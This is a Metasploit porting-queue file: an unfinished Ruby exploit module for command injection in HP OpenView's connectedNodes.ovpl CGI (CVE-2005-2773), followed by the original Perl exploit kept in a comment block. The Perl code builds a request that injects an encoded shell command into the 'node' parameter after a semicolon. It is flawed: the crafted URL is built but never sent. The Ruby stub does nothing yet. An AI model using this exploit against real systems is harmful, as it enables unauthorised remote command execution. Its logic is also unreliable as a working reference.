metasploit-framework/dev/porting/queue/openview_connectednodes_exe...

183 lines
4.0 KiB
Ruby

require 'msf/core'
module Msf
class Exploits::Windows::XXX_CHANGEME_XXX < Msf::Exploit::Remote
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'HP OpenView connectedNodes.ovpl Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution
vulnerability in the HP OpenView connectedNodes.ovpl CGI
application. The results of the command will not be
displayed to the screen.
},
'Author' => [ 'Valerio Tesei <valk@mojodo.it>' ],
'Version' => '$Revision$',
'References' =>
[
[ 'OSVDB', '19057'],
[ 'BID', '14662'],
[ 'CVE', '2005-2773'],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'BadChars' => "",
},
'Targets' =>
[
[
'Automatic Targetting',
{
'Platform' => 'any',
'Ret' => 0x0,
},
],
],
'DisclosureDate' => 'Aug 25 2005',
'DefaultTarget' => 0))
end
def exploit
connect
handler
disconnect
end
=begin
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::openview_connectednodes_exec;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;
my $advanced = { };
my $info = {
'Name' => 'HP OpenView connectedNodes.ovpl Command Execution',
'Version' => '$Revision$',
'Authors' => [ 'Valerio Tesei <valk@mojodo.it>' ],
'Arch' => [ ],
'OS' => [ ],
'Priv' => 0,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 80],
'DIR' => [1, 'DATA', 'Directory of connectedNodes.ovpl script', '/cgi-bin/'],
'SSL' => [0, 'BOOL', 'Use SSL'],
},
'Description' => Pex::Text::Freeform(qq{
This module exploits an arbitrary command execution vulnerability in the
HP OpenView connectedNodes.ovpl CGI application. The results of the command
will not be displayed to the screen.
}),
'Refs' =>
[
['OSVDB', '19057'],
['BID', '14662'],
['CVE', '2005-2773'],
],
'Payload' =>
{
'Space' => 1024,
'Keys' => ['cmd'],
},
'Keys' => ['openview'],
'DisclosureDate' => 'Aug 25 2005',
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $dir = $self->GetVar('DIR');
my $cmd = $self->URLEncode( $self->GetVar('EncodedPayload')->RawPayload );
my $url = $dir.'connectedNodes.ovpl?node=%3B+'.$cmd.'+%7C+tr+%22%5Cn%22+%22%A3%22';
my $request =
"GET $dir HTTP/1.1\r\n".
"Accept: */*\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
"Host: $target_host:$target_port\r\n".
"Connection: Close\r\n".
"\r\n";
$self->PrintLine("[*] Establishing a connection to the target...");
my $s = Msf::Socket::Tcp->new(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError){
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}
$self->PrintLine("[*] Requesting connectedNodes.ovpl...");
$s->Send($request);
$self->PrintLine("[*] Executing command...");
my $results = $s->Recv(-1, 20);
$s->Close();
return;
}
sub URLEncode {
my $self = shift;
my $data = shift;
my $res;
foreach my $c (unpack('C*', $data)) {
if (
($c >= 0x30 && $c <= 0x39) ||
($c >= 0x41 && $c <= 0x5A) ||
($c >= 0x61 && $c <= 0x7A)
) {
$res .= chr($c);
} else {
$res .= sprintf("%%%.2x", $c);
}
}
return $res;
}
1;
=end
end
end